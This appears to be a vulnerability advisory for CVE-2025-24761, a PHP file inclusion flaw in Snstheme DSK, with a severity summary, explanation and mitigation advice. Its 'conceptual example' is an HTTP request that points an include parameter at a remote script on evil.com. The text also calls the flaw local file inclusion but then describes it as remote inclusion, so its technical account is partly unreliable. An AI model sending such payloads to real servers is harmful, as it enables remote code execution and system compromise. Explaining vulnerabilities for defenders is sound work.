Overview
The cybersecurity landscape is continuously evolving, with new vulnerabilities being discovered regularly. One such vulnerability, identified as CVE-2025-24761, affects the PHP-based Snstheme DSK. This vulnerability arises from improper control of a filename for an Include/Require statement in a PHP program which facilitates PHP Local File Inclusion. It poses a significant threat to system integrity and data security, as it potentially allows unauthorized access to sensitive data or even full system compromise. Therefore, understanding and mitigating this vulnerability is of utmost importance for users of Snstheme DSK.
Vulnerability Summary
CVE ID: CVE-2025-24761
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage
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Product | Affected Versions
Snstheme DSK | Up to version 2.2
How the Exploit Works
The vulnerability, CVE-2025-24761, arises when an attacker is able to manipulate the filename that is used in an Include/Require statement in a PHP program. This allows them to include a file from a remote server which can be executed within the context of the local PHP application. This is known as a PHP Remote File Inclusion (RFI) attack. In this case, the attack can lead to unauthorized access, potential system compromise, and data leakage.
Conceptual Example Code
Here is a conceptual example of how an attacker might exploit this vulnerability:
POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "includeFile": "http://evil.com/malicious_script.php" }In this example, the attacker sends a POST request to a vulnerable endpoint on the target server. The “includeFile” parameter is manipulated to point to a malicious PHP script hosted on a remote server (evil.com). If the server processes this request, it would include and execute the malicious script in the context of the local PHP application, potentially leading to system compromise or data leakage.
Mitigation Guidance
Users of Snstheme DSK are strongly recommended to apply the vendor’s patch to resolve this vulnerability. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can be configured to block or alert on attempts to exploit this vulnerability, thus providing a layer of protection while a more permanent solution is implemented.